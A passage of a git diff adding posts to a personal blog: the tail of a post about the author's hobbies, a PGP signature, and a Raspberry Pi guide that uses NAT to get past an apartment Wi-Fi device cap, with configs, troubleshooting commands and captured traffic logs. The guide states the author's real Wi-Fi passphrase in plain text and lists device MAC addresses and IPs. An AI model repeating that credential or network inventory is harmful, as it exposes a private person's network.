to said "if you're not a hard worker it won't workout for you", and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It's just distroying me mentally. +I am me, and the best me ever to exist. +And that's how it should be. + +Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited. + +Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don't like to play it with me because I pay attention to "everything". +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don't get to play! :-P +One of my all time favorite games is "Zaar" (a persian game that was discontinued), and a game kinda similar to it called "The Night Cage". +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool. + +Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I'm a loner! (Drat. :P) +I love to "not follow recipes" and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I'm open to cooking anything and everything! + +I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I'm alone, I rather do my other hobbies. + +And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD + +3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I'm quite a noob at it still. +I will probably share some of the things I've made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It's so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It's just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it's part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition! + +And now let's talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I've been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I'm a proud member, trying to contribute as much as my time allows me to. +I'm not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog. + +And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won't get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it! + +With all this being said, I think that's it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I'm into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/hobbies.md.asc b/public-onion/sources/posts/hobbies.md.asc new file mode 100644 index 0000000..0bc1192 --- /dev/null +++ b/public-onion/sources/posts/hobbies.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+ +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= +=42yP +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/house_upgrade.md b/public-onion/sources/posts/house_upgrade.md new file mode 100644 index 0000000..d8c13df --- /dev/null +++ b/public-onion/sources/posts/house_upgrade.md @@ -0,0 +1,685 @@ +--- +title: "I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)" +date: 2025-11-23 +draft: false +tags: ["raspberry pi", "wifi", "iot", "networking", "hostapd", "dnsmasq"] +description: "Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support." +author: "Iman Alipour" +ShowToc: true +TocOpen: true +--- + +## The Day My Wi-Fi Said “Eight Is Enough” + +My apartment Wi-Fi (ASK4) has a hard cap of **8 devices**. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put **all the IoT stuff behind a Raspberry Pi** that shows up as **one** device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. + +This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience. + +--- + +## Hardware: what I picked and why + +- **Raspberry Pi 4 (4GB)** + It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better. + +- **ALFA AWUS036ACHM (USB Wi-Fi)** + Reliable, **AP-mode** friendly on Linux, and happy with `hostapd`. I used it to **broadcast** my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short **USB 3 extension** so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz). + +- **Fast USB-C power supply** (official Pi 4 or 5V/3A equivalent) + Wi-Fi spikes current draw; brown-outs cause random gremlins. + +- **16–32 GB microSD**, **heatsinks**, **ventilated case** + The Pi 4 appreciates a bit of airflow. + +- **(Optional) Ethernet cable** + If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio. + +--- + +## What this setup actually does + +- The Pi connects to the building’s **ASK4 Wi-Fi** as a **client** (`wlan0`). +- The ALFA dongle creates a new access point called **`IoT_hub`** (`wlx…` interface) with password `Iman8118`. +- Devices join `IoT_hub`. The Pi does **NAT**, so upstream sees **one MAC address** (the Pi), not dozens of gadgets. Device limit: defeated. +- **Avahi mDNS reflector** lets services like **AirPlay/HomeKit** be discoverable across the two subnets without touching the managed router. +- If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., **Tailscale**) to reach `192.168.50.0/24` from anywhere. + +--- + +## Setup details (the friendly version) + +### 1) Access point with hostapd +I broadcast a simple WPA2 network on **2.4 GHz** (best compatibility). Channel **1/6/11**—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy. + +```ini +interface=wlx00c0cab7ab29 +ssid= +country_code=DE +hw_mode=g +channel=6 +ieee80211n=1 +wmm_enabled=1 +# Don't require HT or you'll reject some tiny IoT clients: +require_ht=0 +wpa=2 +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +wpa_passphrase= +``` + +### 2) DHCP on the IoT side (dnsmasq) +Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet. + +```bash +interface=wlx00c0cab7ab29 +bind-interfaces +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h +dhcp-option=3,192.168.50.1 +dhcp-option=6,1.1.1.1,8.8.8.8 +port=0 # leave port 53 to systemd-resolved +log-dhcp +``` + +### 3) Routing + NAT (nftables) +This makes every downstream device appear as the Pi upstream: + +```bash +table inet filter { + chain input { + type filter hook input priority filter; policy accept; + ct state established,related accept + iif "lo" accept + iif "wlan0" accept + iif "wlx00c0cab7ab29" accept + udp dport 5353 accept # mDNS + counter drop + } + chain forward { + type filter hook forward priority filter; policy accept; + ct state established,related accept + iif "wlx00c0cab7ab29" oif "wlan0" accept + iif "wlan0" oif "wlx00c0cab7ab29" accept + } + chain output { type filter hook output priority filter; policy accept; } +} +table ip nat { + chain postrouting { + type nat hook postrouting priority srcnat; policy accept; + oif "wlan0" masquerade + } +} +``` + +### 4) mDNS across subnets (Avahi) +The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4: + +```bash +[server] +allow-interfaces=wlan0,wlx00c0cab7ab29 +[reflector] +enable-reflector=yes +``` + +I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale + +Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4. + +Now some random questions that I looked up in internet: + +1. How many devices can this really support? + +Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama. + +If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable. + +2. What speeds should I expect? + +- LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I'm golden! ^^ + +- Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit. + +- Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy. + +3. Why these choices? +- 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility. + +- WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it. + +- 20 MHz channel prevents older or power-saving devices from flaking out. + +- Avahi reflector avoids any changes to the building’s router and still lets discovery work. + +- NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely. + +## Troubleshooting + +- `hostapd` **masked/disabled** → + ```bash + sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd + ``` + +- `dnsmasq` can’t start because of **port 53** → + set `port=0` in `/etc/dnsmasq.d/*.conf` and let systemd-resolved keep DNS. + +- **“Station does not support mandatory HT PHY”** in `hostapd` logs → + add `require_ht=0` (and keep `ieee80211n=1`) in your `hostapd.conf`. + +- AirPlay/HomeKit don’t show up across subnets → + ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed: + - `/etc/avahi/avahi-daemon.conf` has: + ```bash + [server] + allow-interfaces=wlan0,wlx00c0cab7ab29 + [reflector] + enable-reflector=yes + ``` + - firewall allows: + ```bash + udp dport 5353 accept + ``` + +- Weak signal / flaky joins → + use a short **USB 3 extension** to move the ALFA away from the Pi and cables; + scan and switch to a cleaner **2.4 GHz** channel (1/6/11), keep width at **20 MHz**. + +- Clients connect but no internet → + verify IP forward & NAT: +```bash +sudo sysctl net.ipv4.ip_forward +``` + +If it's 0, enable it permanently and reload +```bash +echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf +sudo sysctl --system +``` + +Verify the nftables NAT rule exists (masquerade out via wlan0) +```bash +sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p' +``` + +Add it if missing +```bash +sudo nft add table ip nat +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }' +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade' +``` + +Persist nftables (Ubuntu) +```bash +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +sudo systemctl enable --now nftables +``` + + +## Quick service sanity checks + +### hostapd (AP) +```bash +sudo systemctl status hostapd --no-pager +sudo journalctl -u hostapd -n 60 --no-pager +iw dev wlx00c0cab7ab29 info +iw dev wlx00c0cab7ab29 station dump +``` + +### dnsmasq (DHCP on IoT side) +```bash +sudo systemctl status dnsmasq --no-pager +sudo journalctl -u dnsmasq -n 80 --no-pager +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true +tail -n 50 /var/lib/misc/dnsmasq.leases +``` + +### Avahi (mDNS reflector) +```bash +grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf +sudo systemctl status avahi-daemon --no-pager +sudo journalctl -u avahi-daemon -n 60 --no-pager +``` + + +## Basic connectivity tests from a client on IoT_hub + +### got DHCP? +```bash +ip addr show +ip route +cat /etc/resolv.conf +``` + +### can you reach the Pi and the internet? +```bash +ping -c 3 192.168.50.1 +ping -c 3 1.1.1.1 +ping -c 3 google.com +``` + +### DNS works end-to-end? +```bash + +dig +short _airplay._tcp.local @224.0.0.251 -p 5353 +``` +(Or use a Bonjour browser app to confirm the HomePod is discoverable.) + + +## If AirPlay/HomeKit discovery is flaky across subnets + +### make sure mDNS is allowed both directions on the Pi +```bash + +sudo nft add rule inet filter input udp dport 5353 accept +sudo nft add rule inet filter forward udp dport 5353 accept +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +``` + +### restart Avahi cleanly and re-announce +```bash +sudo systemctl restart avahi-daemon +sudo journalctl -u avahi-daemon -n 40 --no-pager +``` + +### from the Pi, watch mDNS traffic on both sides (you should see queries/answers) +```bash +sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv +``` + +(in another terminal:) +```bash +sudo tcpdump -ni wlan0 udp port 5353 -vvv +``` + + +## Throughput + airtime sanity (optional) + +### simple iperf3 (install on Pi and a client) +```bash +sudo apt-get update && sudo apt-get install -y iperf3 +``` +(on the Pi:) `iperf3 -s` +(on a client:) `iperf3 -c 192.168.50.1 -P 3 -t 10` + +### check channel utilization/interference (from Pi) +```bash +sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p' +``` +(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd) + + +## Scaling tips (lots of tiny IoT devices) + +### hostapd tweaks (add to hostapd.conf, then restart) +(reduce management overhead slightly; keep conservative for compatibility) +```bash +beacon_int=100 +dtim_period=2 +wmm_enabled=1 +ap_isolate=0 +max_num_sta=256 # logical cap; real limit is airtime/driver +``` + +```bash +sudo systemctl restart hostapd +``` + +### if some ESP/low-power clients are sticky or nap too hard: +(device-side) disable aggressive power saving if supported +(AP-side) keep channel width at 20 MHz and `require_ht=0` for legacy clients + + +## “Clients connect but no internet” quick checklist + +### Pi has a default route via upstream? +```bash +ip route | grep default +``` + +### NAT counters are increasing when clients surf? +```bash +sudo nft list chain ip nat postrouting -a +``` + +### connections tracked? +```bash +sudo conntrack -L -o extended | head -n 40 +``` + +### last resort: bounce the pieces +```bash +sudo systemctl restart hostapd dnsmasq avahi-daemon +sudo systemctl restart NetworkManager || true +sudo systemctl restart nftables +``` + +## Network Traffic (embedded from captures) + +For fun, and curiousity! + +### 1) DHCP leases (who joined the IoT network) +```bash +1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc +``` + +### 2) Top talkers by bytes (hosts table) +```bash +192.168.50.233,7346 +192.168.50.118,7216 +192.168.50.131,7216 +17.253.53.203,7040 +54.217.122.41,6271 +192.168.50.216,5392 +192.168.50.104,3058 +192.168.50.189,2278 +17.242.218.132,1802 +192.168.50.134,1750 +192.168.50.196,1653 +3.122.71.119,639 +18.196.19.65,570 +161.117.178.131,391 +17.253.53.201,148 +17.57.146.25,90 +10.172.72.196,66 +224.0.0.251,0 +224.0.0.2,0 +255.255.255.255,0 +``` + +### 3) Heaviest flows (src, dst, proto, dport, bytes) +```bash +192.168.50.202,192.168.50.131,TCP,59903,402 +192.168.50.202,192.168.50.118,TCP,59807,402 +161.117.178.131,192.168.50.134,TCP,58246,391 +192.168.50.216,192.168.50.202,UDP,5353,336 +192.168.50.202,192.168.50.189,UDP,5353,312 +192.168.50.202,192.168.50.196,UDP,5353,234 +17.253.53.203,192.168.50.202,TCP,64726,222 +192.168.50.216,17.57.146.25,TCP,5223,172 +192.168.50.216,192.168.50.233,UDP,5353,162 +192.168.50.202,192.168.50.104,UDP,5353,156 +17.253.53.201,192.168.50.202,TCP,64727,148 +192.168.50.202,17.253.53.201,TCP,443,132 +192.168.50.216,224.0.0.251,IP,0,92 +192.168.50.216,224.0.0.2,IP,0,92 +17.57.146.25,192.168.50.216,TCP,64544,90 +192.168.50.216,192.168.50.118,UDP,5353,75 +192.168.50.216,192.168.50.131,UDP,5353,75 +192.168.50.216,192.168.50.134,UDP,5353,75 +192.168.50.216,10.172.72.196,TCP,59593,70 +10.172.72.196,192.168.50.216,TCP,51638,66 +``` + +### 4) Conntrack snapshot (active connections inventory) +```bash +ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 +ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 +ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 +ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 +ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 +ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 +``` + +### 5) Part of Raw packet capture + +- What’s inside? +```bash +tshark -r iot_ap_120s.pcap -q -z io,stat,60 + + +================================== +| IO Statistics | +| | +| Duration: 119.773534 secs | +| Interval: 60 secs | +| | +| Col 1: Frames and bytes | +|--------------------------------| +| |1 | +| Interval | Frames | Bytes | +|--------------------------------| +| 0 <> 60 | 400 | 60449 | +| 60 <> Dur | 24672 | 30179911 | +================================== +``` + +- Protocol hierarchy (what kinds of traffic?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z io,phs + +=================================================================== +Protocol Hierarchy Statistics +Filter: + +eth frames:25072 bytes:30240360 + ip frames:24706 bytes:30195993 + udp frames:349 bytes:94583 + mdns frames:241 bytes:60693 + data frames:32 bytes:2240 + quic frames:76 bytes:31650 + quic frames:2 bytes:2484 + tcp frames:24353 bytes:30101226 + tls frames:2413 bytes:3493680 + tcp.segments frames:2256 bytes:3378795 + tls frames:2222 bytes:3353799 + data frames:147 bytes:71717 + tcp.segments frames:5 bytes:7550 + igmp frames:4 bytes:184 + arp frames:150 bytes:6300 + ipv6 frames:216 bytes:38067 + icmpv6 frames:124 bytes:10704 + udp frames:79 bytes:25415 + data frames:2 bytes:132 + mdns frames:77 bytes:25283 + tcp frames:13 bytes:1948 + data frames:1 bytes:90 +=================================================================== +``` + +- Top IP conversations (who talked to whom?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z conv,ip +================================================================================ +IPv4 Conversations +Filter: + | <- | | -> | | Total | Relative | Duration | + | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | +192.168.50.202 <-> 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 +192.168.50.1 <-> 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 +192.168.50.1 <-> 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 +192.168.50.202 <-> 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 +192.168.50.202 <-> 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 +192.168.50.202 <-> 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 +192.168.50.202 <-> 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 +192.168.50.202 <-> 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 